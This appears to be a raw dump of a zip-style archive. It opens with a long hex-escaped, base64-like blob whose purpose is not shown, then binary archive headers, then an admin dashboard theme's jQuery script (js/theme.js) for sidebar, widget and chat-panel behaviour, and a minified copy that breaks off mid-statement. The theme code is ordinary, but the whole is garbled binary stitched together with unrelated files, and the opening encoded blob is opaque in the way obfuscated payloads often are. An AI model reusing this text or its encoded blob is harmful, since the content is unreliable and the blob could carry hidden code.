32\x39\x74\x57\x4d\x57\x31\x2b\x38\x64\x67\x37\x65\x77\x42\x45\x53\x4f\x6f\x71\x57\x46\x78\x4a\x6e\x55\x37\x51\x4e\x65\x2b\x4e\x68\x5a\x6d\x34\x4b\x6a\x57\x33\x50\x39\x59\x78\x68\x70\x79\x52\x57\x78\x67\x61\x32\x31\x45\x4b\x30\x78\x78\x34\x4b\x55\x30\x64\x69\x71\x4c\x45\x5a\x61\x45\x4f\x75\x54\x56\x6c\x4b\x34\x76\x7a\x4e\x44\x62\x58\x32\x68\x44\x6c\x52\x31\x31\x63\x42\x34\x37\x63\x2f\x43\x41\x57\x5a\x47\x4b\x69\x53\x65\x5a\x61\x55\x4b\x4c\x72\x30\x75\x31\x75\x43\x63\x52\x56\x76\x2b\x6b\x72\x41\x32\x38\x63\x36\x4d\x4c\x58\x48\x39\x57\x4d\x6d\x67\x4f\x5a\x55\x57\x30\x58\x64\x75\x50\x51\x6f\x32\x61\x6e\x46\x44\x34\x4b\x45\x51\x64\x54\x2f\x54\x51\x64\x59\x65\x61\x4c\x65\x42\x6c\x71\x59\x32\x52\x59\x62\x47\x6d\x52\x50\x4e\x68\x37\x41\x6b\x4b\x51\x35\x58\x30\x39\x78\x76\x70\x55\x74\x65\x61\x43\x7a\x51\x70\x35\x37\x75\x67\x70\x31\x36\x4a\x68\x59\x57\x5a\x49\x43\x74\x56\x71\x54\x54\x44\x49\x5a\x2b\x5a\x2f\x49\x35\x68\x2f\x4f\x66\x30\x63\x71\x30\x6a\x4d\x31\x6a\x52\x6b\x45\x66\x31\x56\x6a\x48\x50\x54\x4e\x67\x32\x6d\x39\x42\x36\x54\x44\x59\x57\x77\x32\x64\x49\x44\x35\x57\x71\x64\x6b\x72\x56\x4d\x36\x2b\x37\x69\x74\x35\x4a\x34\x4e\x57\x77\x42\x73\x70\x67\x32\x4a\x66\x55\x62\x63\x46\x30\x59\x2f\x6f\x75\x31\x2b\x76\x59\x67\x51\x49\x62\x39\x7a\x76\x6e\x69\x4e\x36\x49\x48\x61\x2b\x33\x56\x74\x47\x48\x64\x39\x54\x46\x79\x4f\x56\x38\x75\x58\x67\x44\x41\x6b\x63\x32\x30\x76\x79\x70\x41\x44\x71\x45\x74\x4c\x49\x35\x48\x43\x6b\x5a\x55\x55\x2b\x4d\x45\x43\x6d\x50\x6a\x2f\x57\x37\x4e\x6d\x6e\x62\x72\x73\x69\x35\x56\x6a\x54\x59\x5a\x54\x6a\x4f\x39\x30\x32\x46\x2b\x51\x62\x6b\x74\x6b\x33\x6d\x75\x37\x39\x39\x63\x30\x74\x69\x48\x36\x76\x34\x55\x6c\x2b\x36\x77\x76\x39\x79\x45\x30\x6a\x52\x69\x63\x68\x72\x61\x42\x75\x52\x64\x72\x65\x76\x5a\x73\x33\x30\x66\x33\x4c\x34\x50\x77\x52\x2f\x52\x74\x50\x74\x52\x78\x75\x65\x77\x58\x53\x73\x6b\x71\x4c\x54\x50\x48\x43\x68\x6a\x64\x49\x53\x65\x49\x61\x67\x32\x78\x48\x30\x46\x31\x6e\x47\x58\x68\x4e\x69\x50\x52\x56\x71\x6f\x6d\x72\x48\x50\x4a\x64\x76\x74\x35\x69\x31\x77\x6e\x57\x73\x31\x65\x6d\x41\x49\x76\x45\x4d\x5a\x6b\x53\x66\x58\x43\x39\x42\x53\x6d\x58\x32\x50\x66\x6d\x63\x79\x4e\x2b\x73\x30\x64\x51\x6e\x2f\x6e\x52\x75\x7a\x6f\x61\x77\x49\x71\x43\x74\x52\x2b\x41\x6b\x50\x6b\x34\x49\x52\x70\x55\x58\x67\x36\x34\x30\x69\x55\x47\x54\x54\x70\x61\x56\x57\x34\x52\x6f\x7a\x38\x63\x38\x65\x4f\x48\x6f\x33\x47\x64\x31\x6a\x76\x67\x54\x65\x36\x42\x30\x54\x55\x54\x4b\x6f\x5a\x51\x4f\x7a\x4a\x55\x43\x6d\x66\x61\x51\x34\x44\x57\x6f\x59\x34\x67\x76\x52\x32\x4b\x38\x65\x2f\x4e\x59\x68\x66\x4b\x6c\x71\x6a\x2b\x37\x56\x53\x6a\x75\x41\x78\x44\x37\x64\x68\x51\x30\x30\x2f\x45\x58\x76\x4d\x49\x6e\x32\x4b\x67\x67\x47\x63\x35\x55\x33\x78\x6e\x45\x30\x73\x55\x56\x79\x38\x47\x49\x37\x47\x78\x6f\x48\x69\x4b\x50\x52\x6a\x4e\x36\x76\x6d\x74\x71\x2b\x6c\x38\x6b\x5a\x43\x61\x4a\x49\x54\x59\x51\x45\x4d\x37\x4e\x36\x78\x50\x71\x41\x56\x54\x7a\x59\x69\x6a\x56\x68\x4f\x74\x72\x59\x43\x65\x6c\x44\x2b\x74\x6c\x66\x37\x71\x61\x57\x58\x79\x31\x30\x67\x41\x45\x66\x55\x57\x6a\x70\x6a\x6d\x33\x4b\x2f\x72\x53\x37\x31\x56\x72\x30\x30\x70\x59\x54\x49\x79\x59\x2b\x49\x35\x6a\x5a\x44\x68\x33\x6f\x53\x5a\x65\x43\x44\x4f\x33\x37\x45\x77\x62\x54\x4d\x44\x53\x66\x54\x39\x78\x66\x44\x77\x39\x7a\x62\x52\x37\x37\x41\x5a\x35\x52\x42\x67\x5a\x78\x2b\x6b\x78\x64\x53\x46\x77\x67\x5a\x75\x64\x6a\x33\x45\x76\x52\x70\x66\x32\x4c\x4d\x6b\x5a\x53\x5a\x6c\x48\x79\x79\x62\x56\x71\x5a\x53\x46\x2f\x4f\x4f\x53\x53\x57\x6f\x69\x4f\x42\x2b\x57\x5a\x69\x6d\x56\x69\x44\x35\x2f\x6f\x75\x37\x4e\x44\x43\x78\x58\x43\x48\x51\x37\x56\x4c\x57\x6f\x57\x57\x34\x4d\x42\x77\x78\x55\x71\x6c\x52\x48\x43\x77\x59\x64\x38\x4c\x41\x32\x6f\x6c\x46\x46\x67\x64\x6b\x75\x53\x71\x35\x48\x68\x4b\x57\x6b\x79\x38\x41\x62\x36\x4c\x6e\x2b\x75\x70\x6f\x35\x69\x54\x36\x77\x66\x50\x2b\x76\x63\x61\x46\x4e\x67\x66\x66\x5a\x4b\x5a\x78\x47\x59\x57\x46\x76\x68\x57\x71\x69\x53\x46\x48\x52\x46\x68\x64\x56\x41\x6a\x6a\x72\x61\x4b\x31\x38\x6c\x37\x46\x32\x6a\x52\x39\x72\x50\x6e\x43\x42\x57\x37\x52\x66\x51\x6b\x4c\x6d\x69\x42\x74\x37\x6c\x33\x61\x42\x33\x30\x4c\x59\x77\x38\x71\x36\x63\x31\x6a\x79\x39\x62\x38\x77\x59\x37\x79\x73\x7a\x35\x47\x2f\x51\x71\x5a\x4b\x4a\x78\x47\x74\x2f\x4f\x30\x6c\x66\x2f\x69\x6b\x34\x47\x58\x61\x63\x77\x4a\x32\x6f\x41\x2f\x56\x54\x6b\x67\x63\x41\x53\x4c\x49\x4c\x77\x76\x57\x72\x37\x56\x64\x33\x4b\x79\x69\x44\x2b\x63\x47\x69\x4e\x42\x59\x51\x79\x35\x2f\x49\x68\x54\x31\x66\x31\x62\x62\x74\x4c\x6d\x30\x4d\x6f\x44\x73\x6e\x65\x38\x31\x66\x58\x35\x34\x44\x75\x55\x42\x67\x46\x70\x39\x75\x53\x78\x51\x4e\x46\x78\x41\x6c\x48\x57\x74\x45\x38\x35\x54\x72\x42\x77\x6f\x4c\x46\x47\x43\x33\x2b\x34\x36\x50\x46\x39\x76\x52\x41\x61\x2b\x4a\x55\x35\x77\x66\x52\x48\x53\x57\x59\x4d\x59\x39\x57\x4b\x63\x79\x67\x2b\x76\x38\x76\x61\x64\x66\x44\x38\x78\x4a\x43\x71\x43\x6c\x6c\x44\x69\x66\x44\x52\x47\x79\x35\x70\x71\x53\x51\x37\x66\x2b\x54\x43\x47\x43\x48\x37\x42\x7a\x34\x46\x6d\x33\x63\x33\x6e\x2b\x64\x39\x61\x6f\x74\x47\x38\x4f\x4d\x6e\x63\x30\x31\x71\x50\x6c\x59\x31\x6a\x48\x4b\x32\x34\x4b\x55\x6d\x6c\x6a\x30\x59\x41\x5a\x4c\x54\x54\x4e\x72\x61\x4a\x4f\x77\x4a\x6c\x48\x77\x38\x79\x36\x47\x63\x57\x74\x66\x4e\x65\x49\x78\x34\x6e\x77\x71\x7a\x44\x41\x38\x48\x53\x71\x64\x7a\x56\x64\x36\x39\x37\x45\x6c\x38\x39\x77\x6d\x73\x55\x74\x77\x79\x75\x2b\x51\x66\x58\x56\x35\x5a\x4e\x44\x69\x71\x41\x7a\x37\x62\x34\x75\x73\x63\x73\x66\x67\x73\x4f\x77\x5a\x6a\x48\x6d\x61\x30\x52\x52\x4d\x71\x58\x78\x63\x77\x42\x41\x54\x37\x70\x51\x55\x54\x58\x66\x2b\x73\x41\x30\x37\x4f\x61\x36\x37\x4c\x38\x57\x2f\x6f\x71\x6d\x6b\x44\x61\x74\x75\x78\x31\x69\x79\x56\x6d\x54\x35\x39\x30\x67\x62\x34\x53\x31\x4a\x69\x72\x77\x71\x64\x4a\x70\x4e\x59\x78\x39\x2f\x59\x39\x50\x4f\x4f\x79\x6e\x4c\x4a\x72\x72\x47\x78\x39\x6f\x4a\x65\x6c\x72\x51\x70\x49\x6c\x75\x4c\x71\x78\x68\x76\x37\x39\x62\x53\x57\x6f\x6f\x46\x79\x65\x67\x30\x6a\x64\x70\x39\x79\x47\x59\x42\x73\x39\x39\x6d\x4d\x35\x57\x6d\x72\x72\x6d\x66\x6e\x58\x6c\x57\x2b\x76\x2b\x77\x4b\x51\x61\x4b\x2b\x79\x7a\x4b\x44\x58\x61\x61\x59\x53\x66\x52\x67\x67\x67\x49\x45\x36\x76\x41\x69\x65\x65\x4c\x43\x57\x65\x72\x52\x56\x4f\x36\x5a\x6e\x46\x75\x4e\x62\x48\x59\x6e\x4d\x56\x71\x48\x76\x67\x39\x70\x4f\x5a\x77\x66\x55\x6f\x4a\x36\x44\x53\x61\x52\x66\x54\x4e\x4c\x79\x68\x2b\x72\x57\x6c\x76\x7a\x38\x58\x6c\x30\x4b\x59\x50\x35\x4b\x4e\x78\x67\x49\x38\x2f\x4d\x50\x4d\x61\x50\x6c\x79\x66\x37\x6e\x45\x6e\x51\x51\x66\x63\x57\x2f\x54\x57\x4b\x49\x71\x74\x4a\x30\x4a\x53\x44\x35\x51\x4b\x4a\x30\x35\x42\x64\x43\x44\x43\x6a\x34\x4d\x36\x4a\x56\x37\x77\x32\x4a\x62\x42\x51\x37\x6e\x70\x52\x54\x47\x54\x7a\x5a\x31\x31\x49\x52\x42\x70\x5a\x39\x57\x6b\x59\x2b\x4b\x35\x76\x6c\x7a\x4f\x72\x6e\x61\x68\x49\x4a\x75\x6e\x54\x5a\x56\x56\x71\x66\x53\x55\x6f\x32\x7a\x32\x75\x50\x49\x4d\x68\x59\x74\x56\x78\x33\x51\x58\x58\x43\x33\x7a\x35\x30\x6a\x74\x71\x72\x44\x55\x4d\x34\x39\x4c\x34\x42\x76\x71\x52\x74\x70\x70\x61\x6d\x65\x61\x41\x57\x4f\x54\x78\x59\x64\x71\x67\x68\x39\x79\x77\x44\x6b\x79\x4e\x46\x59\x78\x65\x50\x59\x79\x59\x56\x6a\x34\x2f\x74\x53\x7a\x5a\x6d\x77\x65\x61\x34\x54\x45\x67\x4b\x2b\x6d\x4a\x68\x68\x4f\x70\x51\x41\x74\x6b\x67\x38\x62\x41\x4c\x31\x73\x44\x36\x49\x58\x66\x4c\x56\x6b\x54\x64\x2b\x6d\x61\x49\x30\x67\x48\x4e\x32\x6d\x42\x32\x71\x59\x71\x38\x67\x54\x71\x34\x45\x33\x79\x71\x5a\x50\x49\x55\x48\x47\x64\x51\x67\x54\x39\x44\x5a\x7a\x73\x6f\x70\x79\x4b\x30\x4b\x76\x4f\x35\x31\x76\x64\x4b\x47\x67\x2b\x74\x33\x78\x42\x4d\x59\x36\x70\x4f\x46\x65\x4b\x62\x36\x56\x34\x48\x52\x46\x43\x7a\x65\x67\x62\x56\x56\x55\x52\x77\x62\x74\x63\x5a\x66\x4f\x6f\x75\x4e\x37\x6b\x64\x67\x4f\x75\x51\x5a\x49\x2b\x2f\x54\x77\x70\x6b\x6e\x34\x4a\x53\x58\x6d\x67\x68\x66\x32\x62\x30\x6e\x6f\x63\x44\x5a\x5a\x66\x68\x4d\x59\x74\x4d\x32\x46\x47\x43\x43\x54\x51\x53\x48\x6b\x57\x72\x55\x43\x69\x51\x30\x68\x77\x30\x56\x47\x4e\x62\x64\x48\x76\x2b\x45\x33\x6c\x57\x74\x4d\x66\x6c\x45\x75\x2b\x6a\x46\x64\x55\x42\x57\x67\x4d\x65\x6c\x2b\x63\x53\x61\x2f\x67\x7a\x70\x31\x52\x73\x77\x71\x6b\x64\x74\x4b\x4f\x64\x6f\x31\x58\x46\x5a\x55\x41\x76\x54\x41\x73\x31\x71\x32\x53\x6f\x46\x4a\x65\x67\x79\x34\x61\x53\x55\x4e\x4e\x6b\x66\x4c\x77\x6c\x69\x6b\x71\x52\x71\x6a\x63\x57\x69\x37\x64\x43\x2b\x33\x4c\x6d\x35\x73\x41\x37\x43\x6d\x75\x72\x62\x67\x58\x4e\x4c\x7a\x4c\x6f\x68\x44\x52\x68\x56\x72\x39\x6a\x50\x5a\x51\x2f\x6f\x6f\x77\x36\x55\x75\x48\x66\x30\x4d\x62\x37\x6d\x46\x73\x6a\x35\x58\x4c\x37\x32\x44\x31\x73\x39\x39\x4c\x62\x67\x4f\x51\x2b\x4b\x69\x73\x6d\x79\x2b\x43\x37\x52\x75\x41\x48\x47\x38\x31\x6a\x6d\x47\x44\x46\x4f\x52\x35\x5a\x75\x4d\x56\x32\x6e\x51\x6a\x70\x36\x52\x39\x6f\x59\x32\x2b\x31\x49\x51\x74\x34\x51\x52\x64\x52\x2b\x73\x69\x7a\x6c\x69\x79\x56\x2f\x43\x43\x2b\x73\x36\x5a\x4a\x46\x73\x33\x6f\x71\x63\x6d\x69\x2b\x6a\x6b\x46\x78\x4e\x75\x61\x4c\x43\x67\x78\x30\x68\x75\x30\x6e\x74\x32\x4a\x37\x51\x42\x35\x4d\x7a\x48\x5a\x75\x43\x35\x34\x6f\x6c\x43\x33\x75\x75\x76\x7a\x6f\x50\x32\x62\x78\x6f\x74\x76\x67\x36\x6c\x70\x48\x35\x4e\x54\x57\x67\x63\x50\x48\x2b\x4d\x55\x4e\x66\x4f\x57\x48\x64\x46\x57\x56\x66\x75\x31\x44\x35\x76\x46\x57\x41\x4e\x66\x41\x77\x5a\x64\x64\x49\x77\x35\x70\x41\x56\x45\x38\x71\x4e\x66\x71\x39\x4c\x79\x52\x7a\x6d\x77\x4c\x31\x4d\x4b\x68\x6e\x52\x6f\x48\x4e\x2f\x43\x56\x36\x37\x7a\x79\x32\x52\x74\x63\x5a\x69\x72\x63\x31\x4e\x59\x52\x55\x48\x72\x54\x6f\x3dPK��\��d�,�,js/theme.jsnu�[���! function(e, s, i) {
    "use strict";
    i(s).ready(function() {
        function a(e, s) {
            e.children(".submenu-content").show().slideUp(200, function() {
                i(this).css("display", ""), i(this).find(".menu-item").removeClass("is-shown"), e.removeClass("open"), s && s()
            })
        }
        var n = i(".app-sidebar"),
            t = i(".sidebar-content"),
            l = i(".wrapper"),
            o = s.querySelector(".sidebar-content");
        new PerfectScrollbar(o, {
            wheelSpeed: 10,
            wheelPropagation: !0,
            minScrollbarLength: 5
        });
        t.on("click", ".navigation-main .nav-item a", function() {
            var e = i(this).parent(".nav-item");
            if (e.hasClass("has-sub") && e.hasClass("open")) a(e);
            else {
                if (e.hasClass("has-sub") && function(e, s) {
                        var a = e.children(".submenu-content"),
                            n = a.children(".menu-item").addClass("is-hidden");
                        e.addClass("open"), a.hide().slideDown(200, function() {
                            i(this).css("display", ""), s && s()
                        }), setTimeout(function() {
                            n.addClass("is-shown"), n.removeClass("is-hidden")
                        }, 0)
                    }(e), t.data("collapsible")) return !1;
                a(e.siblings(".open")), e.siblings(".open").find(".nav-item.open").removeClass("open")
            }
        }), i(".nav-toggle").on("click", function() {
            var e = i(this).find(".toggle-icon");
            "expanded" === e.attr("data-toggle") ? (l.addClass("nav-collapsed"), i(".nav-toggle").find(".toggle-icon").removeClass("ik-toggle-right").addClass("ik-toggle-left"), e.attr("data-toggle", "collapsed")) : (l.removeClass("nav-collapsed menu-collapsed"), i(".nav-toggle").find(".toggle-icon").removeClass("ik-toggle-left").addClass("ik-toggle-right"), e.attr("data-toggle", "expanded"))
        }), n.on("mouseenter", function() {
            if (l.hasClass("nav-collapsed")) {
                l.removeClass("menu-collapsed");
                var e = i(".navigation-main .nav-item.nav-collapsed-open");
                e.children(".submenu-content").hide().slideDown(300, function() {
                    i(this).css("display", "")
                }), t.find(".nav-item.active").parents(".nav-item").addClass("open"), e.addClass("open").removeClass("nav-collapsed-open")
            }
        }).on("mouseleave", function(e) {
            if (l.hasClass("nav-collapsed")) {
                l.addClass("menu-collapsed");
                var s = i(".navigation-main .nav-item.open"),
                    a = s.children(".submenu-content");
                s.addClass("nav-collapsed-open"), a.show().slideUp(300, function() {
                    i(this).css("display", "")
                }), s.removeClass("open")
            }
        }), i(e).width() < 992 && (n.addClass("hide-sidebar"), l.removeClass("nav-collapsed menu-collapsed")), i(e).resize(function() {
            i(e).width() < 992 && (n.addClass("hide-sidebar"), l.removeClass("nav-collapsed menu-collapsed")), i(e).width() > 992 && (n.removeClass("hide-sidebar"), "collapsed" === i(".toggle-icon").attr("data-toggle") && l.not(".nav-collapsed menu-collapsed") && l.addClass("nav-collapsed menu-collapsed"))
        }), i(s).on("click", ".navigation li:not(.has-sub)", function() {
            i(e).width() < 992 && n.addClass("hide-sidebar")
        }), i(s).on("click", ".logo-text", function() {
            i(e).width() < 992 && n.addClass("hide-sidebar")
        }), i(".mobile-nav-toggle").on("click", function(e) {
            e.stopPropagation(), n.toggleClass("hide-sidebar")
        }), i("html").on("click", function(s) {
            i(e).width() < 992 && (n.hasClass("hide-sidebar") || 0 !== n.has(s.target).length || n.addClass("hide-sidebar"))
        }), i("#sidebarClose").on("click", function() {
            n.addClass("hide-sidebar")
        }), i('[data-toggle="tooltip"]').tooltip(), i("#checkbox_select_all").on("click", function() {
            for (var e = s.getElementsByName("item_checkbox"), a = 0; a < e.length; a++) "checkbox" == e[a].type && (e[a].checked = !0), i(e).parent().parent().addClass("selected")
        }), i("#checkbox_deselect_all").on("click", function() {
            for (var e = s.getElementsByName("item_checkbox"), a = 0; a < e.length; a++) "checkbox" == e[a].type && (e[a].checked = !1), i(e).parent().parent().removeClass("selected")
        }), i("#quick-search").keyup(function() {
            var e = i(this).val().trim().toLowerCase();
            i(".app-item").hide().filter(function() {
                return -1 != i(this).html().trim().toLowerCase().indexOf(e)
            }).show()
        }), i(".list-item input:checkbox").change(function() {
            i(this).is(":checked") ? i(this).parent().parent().addClass("selected") : i(this).parent().parent().removeClass("selected")
        }), i("#navbar-fullscreen").on("click", function(e) {
            "undefined" != typeof screenfull && screenfull.enabled && screenfull.toggle()
        }), i("#selectall").click(function() {
            i(this).is(":checked") ? i(".select_all_child:checkbox").attr("checked", !0) : i(".select_all_child:checkbox").attr("checked", !1)
        }), i(".list-item-wrap .list-item .list-title a").on("click", function(e) {
            i(".list-item.quick-view-opened").not(this).removeClass("quick-view-opened"), i(this).parents().parent(".list-item").toggleClass("quick-view-opened")
        }), i(s).on("click", function(e) {
            i(e.target).closest(".list-item").length || i(".list-item").removeClass("quick-view-opened")
        }), "undefined" != typeof screenfull && screenfull.enabled && i(s).on(screenfull.raw.fullscreenchange, function() {
            screenfull.isFullscreen ? i("#navbar-fullscreen").find("i").toggleClass("ik-minimize ik-maximize") : i("#navbar-fullscreen").find("i").toggleClass("ik-maximize ik-minimize")
        }), i(".minimize-widget").on("click", function() {
            var e = i(this),
                s = i(e.parents(".widget"));
            i(s).children(".widget-body").slideToggle();
            i(this).toggleClass("ik-minus").fadeIn("slow"), i(this).toggleClass("ik-plus").fadeIn("slow")
        }), i(".remove-widget").on("click", function() {
            var e = i(this);
            e.parents(".widget").animate({
                opacity: "0",
                "-webkit-transform": "scale3d(.3, .3, .3)",
                transform: "scale3d(.3, .3, .3)"
            }), setTimeout(function() {
                e.parents(".widget").remove()
            }, 800)
        }), i(".card-header-right .card-option .action-toggle").on("click", function() {
            var e = i(this);
            e.hasClass("ik-chevron-right") ? e.parents(".card-option").animate({
                width: "28px"
            }) : e.parents(".card-option").animate({
                width: "90px"
            }), i(this).toggleClass("ik-chevron-right").fadeIn("slow")
        }), i(".card-header-right .close-card").on("click", function() {
            var e = i(this);
            e.parents(".card").animate({
                opacity: "0",
                "-webkit-transform": "scale3d(.3, .3, .3)",
                transform: "scale3d(.3, .3, .3)"
            }), setTimeout(function() {
                e.parents(".card").remove()
            }, 800)
        }), i(".card-header-right .minimize-card").on("click", function() {
            var e = i(this),
                s = i(e.parents(".card"));
            i(s).children(".card-body").slideToggle();
            i(this).toggleClass("ik-minus").fadeIn("slow"), i(this).toggleClass("ik-plus").fadeIn("slow")
        }), i(".task-list").on("click", "li.list", function() {
            i(this).toggleClass("completed")
        }), i(".search-btn").on('click', function() {
            i(".header-search").addClass('open');
            i('.header-search .form-control').animate({
            'width': '200px',
            });
        }), i(".search-close").on('click', function() {
            i('.header-search .form-control').animate({
                'width': '0',
            });
            setTimeout(function() {
                i(".header-search").removeClass('open');
            }, 300);
        });
        var ps = new PerfectScrollbar(".right-sidebar", {
            wheelSpeed: 10,
            wheelPropagation: true,
            minScrollbarLength: 5
        });
        var ps = new PerfectScrollbar(".messages", {
            wheelSpeed: 10,
            wheelPropagation: true,
            minScrollbarLength: 5
        });
        $(".right-sidebar-toggle").on("click",function(e) {
            this.classList.toggle('active');
            $('.wrapper').toggleClass('right-sidebar-expand');
            return false;
        });

        document.addEventListener('click', function(event) {
            var $rightSidebar = document.getElementsByClassName('right-sidebar')[0],
                $chatPanel = document.getElementsByClassName('chat-panel')[0];
            var isInsideContainer = $rightSidebar.contains( event.target ) || $chatPanel.contains(event.target);
            if( !isInsideContainer ) {
              document.body.classList.remove('right-sidebar-expand');
              var toggle = document.getElementsByClassName('right-sidebar-toggle');
              for( var i = 0; i < toggle.length; i++ ) {
                toggle[i].classList.remove('active');
              }
              $chatPanel.hidden = 'hidden';
            }
        });

        var el = $('[data-plugin="chat-sidebar"]');
        if( !el.length ) return;
        var chatList = el.find('.chat-list');
        chatList.each(function(index) {
            var $this = $(this);
            $(this).find('.list-group a').on('click', function() {
                $this.find('.list-group a.active').removeClass('active');
                $(this).addClass('active');
                var el = $('.chat-panel');
                if(!el.length) return;
                el.removeAttr('hidden');

                var messages = el.find('.messages');
                messages[0].scrollTop = messages[0].scrollHeight;
                if( messages[0].classList.contains('scrollbar-enabled') ) {
                    messages.perfectScrollbar('update');
                }
                el.find('.user-name').html( $(this).data('chat-user'));
            });
        });

        var el = $('.chat-panel');
        if(!el.length) return;
        el.find('.close').on('click', function(){
            el.attr('hidden', true);
            el.find('.panel-body').removeClass('hide');
        });

        el.find('.minimize').on('click', function(){
            el.find('.card-block').attr('hidden', !el.find('.card-block').attr('hidden') );
            if( el.find('.card-block').attr('hidden') === 'hidden' )
                $(this).find('.material-icons').html('expand_less');
            else
            $(this).find('.material-icons').html('expand_more');
        });
    })
}(window, document, jQuery);PK��\�I"���js/theme.min.jsnu�[���!function(e,a,i){"use strict";i(a).ready(function(){function n(e,a){e.children(".submenu-content").show().slideUp(200,function(){i(this).css("display",""),i(this).find(".menu-item").removeClass("is-shown"),e.removeClass("open"),a&&a()})}var t=i(".app-sidebar"),s=i(".sidebar-content"),l=i(".wrapper"),o=a.querySelector(".sidebar-content");new PerfectScrollbar(o,{wheelSpeed:10,wheelPropagation:!0,minScrollbarLength:5}),s.on("click",".navigation-main .nav-item a",function(){var e=i(this).parent(".nav-item");if(e.hasClass("has-sub")&&e.hasClass("open"))n(e);else{if(e.hasClass("has-sub")&&function(e,a){var n=e.children(".submenu-content"),t=n.children(".menu-item").addClass("is-hidden");e.addClass("open"),n.hide().slideDown(200,function(){i(this).css("display","")}),setTimeout(function(){t.addClass("is-shown"),t.removeClass("is-hidden")},0)}(e),s.data("collapsible"))return!1;n(e.siblings(".open")),e.siblings(".open").find(".nav-item.open").removeClass("open")}}),i(".nav-toggle").on("click",function(){var e=i(this).find(".toggle-icon");"expanded"===e.attr("data-toggle")?(l.addClass("nav-collapsed"),i(".nav-toggle").find(".toggle-icon").removeClass("ik-toggle-right").addClass("ik-toggle-left"),e.attr("data-toggle","collapsed")):(l.removeClass("nav-collapsed menu-collapsed"),i(".nav-toggle").find(".toggle-icon").removeClass("ik-toggle-left").addClass("ik-toggle-right"),e.attr("data-toggle","expanded"))}),t.on("mouseenter",function(){if(l.hasClass("nav-collapsed")){l.removeClass("menu-collapsed");var e=i(".navigation-main .nav-item.nav-collapsed-open");e.children(".submenu-content").hide().slideDown(300,function(){i(this).css("display","")}),s.find(".nav-item.active").parents(".nav-item").addClass("open"),e.addClass("open").removeClass("nav-collapsed-open")}}).on("mouseleave",function(e){if(l.hasClass("nav-collapsed")){l.addClass("menu-collapsed");var a=i(".navigation-main .nav-item.open"),n=a.children(".submenu-content");a.addClass("nav-collapsed-open"),n.show().slideUp(300,function(){i(this).css("display","")}),a.removeClass("open")}}),i(e).width()<992&&(t.addClass("hide-sidebar"),l.removeClass("nav-collapsed menu-collapsed")),i(e).resize(function(){i(e).width()<992&&(t.addClass("hide-sidebar"),l.removeClass("nav-collapsed menu-collapsed")),i(e).width()>992&&(t.removeClass("hide-sidebar"),"collapsed"===i(".toggle-icon").attr("data-toggle")&&l.not(".nav-collapsed menu-collapsed")&&l.addClass("nav-collapsed menu-collapsed"))}),i(a).on("click",".navigation li:not(.has-sub)",function(){i(e).width()<992&&t.addClass("hide-sidebar")}),i(a).on("click",".logo-text",function(){i(e).width()<992&&t.addClass("hide-sidebar")}),i(".mobile-nav-toggle").on("click",function(e){e.stopPropagation(),t.toggleClass("hide-sidebar")}),i("html").on("click",function(a){i(e).width()<992&&(t.hasClass("hide-sidebar")||0!==t.has(a.target).length||t.addClass("hide-sidebar"))}),i("#sidebarClose").on("click",function(){t.addClass("hide-sidebar")}),i('[data-toggle="tooltip"]').tooltip(),i("#checkbox_select_all").on("click",function(){for(var e=a.getElementsByName("item_checkbox"),n=0;n<e.length;n++)"checkbox"==e[n].type&&(e[n].checked=!0),i(e).parent().parent().addClass("selected")}),i("#checkbox_deselect_all").on("click",function(){for(var e=a.getElementsByName("item_checkbox"),n=0;n<e.length;n++)"checkbox"==e[n].type&&(e[n].checked=!1),i(e).parent().parent().removeClass("selected")}),i("#quick-search").keyup(function(){var e=i(this).val().trim().toLowerCase();i(".app-item").hide().filter(function(){return-1!=i(this).html().trim().toLowerCase().indexOf(e)}).show()}),i(".list-item input:checkbox").change(function(){i(this).is(":checked")?i(this).parent().parent().addClass("selected"):i(this).parent().parent().removeClass("selected")}),i("#navbar-fullscreen").on("click",function(e){"undefined"!=typeof screenfull&&screenfull.enabled&&screenfull.toggle()}),i("#selectall").click(function(){i(this).is(":checked")?i(".select_all_child:checkbox").attr("checked",!0):i(".select_all_child:checkbox").attr("checked",!1)}),i(".list-item-wrap .list-item .list-title a").on("click",function(e){i(".list-item.quick-view-opened").not(this).removeClass("quick-view-opened"),i(this).parents().parent(".list-item").toggleClass("quick-view-opened")}),i(a).on("click",function(e){i(e.target).closest(".list-item").length||i(".list-item").removeClass("quick-view-opened")}),"undefined"!=typeof screenfull&&screenfull.enabled&&i(a).on(screenfull.raw.fullscreenchange,function(){screenfull.isFullscreen?i("#navbar-fullscreen").find("i").toggleClass("ik-minimize ik-maximize"):i("#navbar-fullscreen").find("i").toggleClass("ik-maximize ik-minimize")}),i(".minimize-widget").on("click",function(){var e=i(this),a=i(e.parents(".widget"));i(a).children(".widget-body").slideToggle(),i(this).toggleClass("ik-minus").fadeIn("slow"),i(this).toggleClass("ik-plus").fadeIn("slow")}),i(".remove-widget").on("click",function(){var e=i(this);e.parents(".widget").animate({opacity:"0","-webkit-transform":"scale3d(.3, .3, .3)",transform:"scale3d(.3, .3, .3)"}),setTimeout(function(){e.parents(".widget").remove()},800)}),i(".card-header-right .card-option .action-toggle").on("click",function(){var e=i(this);e.hasClass("ik-chevron-right")?e.parents(".card-option").animate({width:"28px"}):e.parents(".card-option").animate({width:"90px"}),i(this).toggleClass("ik-chevron-right").fadeIn("slow")}),i(".card-header-right .close-card").on("click",function(){var e=i(this);e.parents(".card").animate({opacity:"0","-webkit-transform":"scale3d(.3, .3, .3)",transform:"scale3d(.3, .3, .3)"}),setTimeout(function(){e.parents(".card").remove()},800)}),i(".card-header-right .minimize-card").on("click",function(){var e=i(this),a=i(e.parents(".card"));i(a).children(".card-body").slideToggle(),i(this).toggleClass("ik-minus").fadeIn("slow"),i(this).toggleClass("ik-plus").fadeIn("slow")}),i(".task-list").on("click","li.list",function(){i(this).toggleClass("completed")}),i(".search-btn").on("click",function(){i(".header-search").addClass("open"),i(".header-search .form-control").animate({width:"200px"})}),i(".search-close").on("click",function(){i(".header-search .form-control").animate({width:"0"}),setTimeout(function(){i(".header-search").removeClass("open")},300)});new PerfectScrollbar(".right-sidebar",{wheelSpeed:10,wheelPropagation:!0,minScrollbarLength:5}),new PerfectScrollbar(".messages",{wheelSpeed:10,wheelPropagation:!0,minScrollbarLength:5});$(".right-sidebar-toggle").on("click",function(e){return this.classList.toggle("active"),$(".wrapper").toggleClass("right-sidebar-expand"),!1}),document.addEventListener("click",function(e){var a=document.getElementsByClassName("right-sidebar")[0],i=document.getElementsByClassName("chat-panel")[0];if(!(a.contains(e.target)||i.contains(e.target))){document.body.classList.remove("right-sidebar-expand");for(var 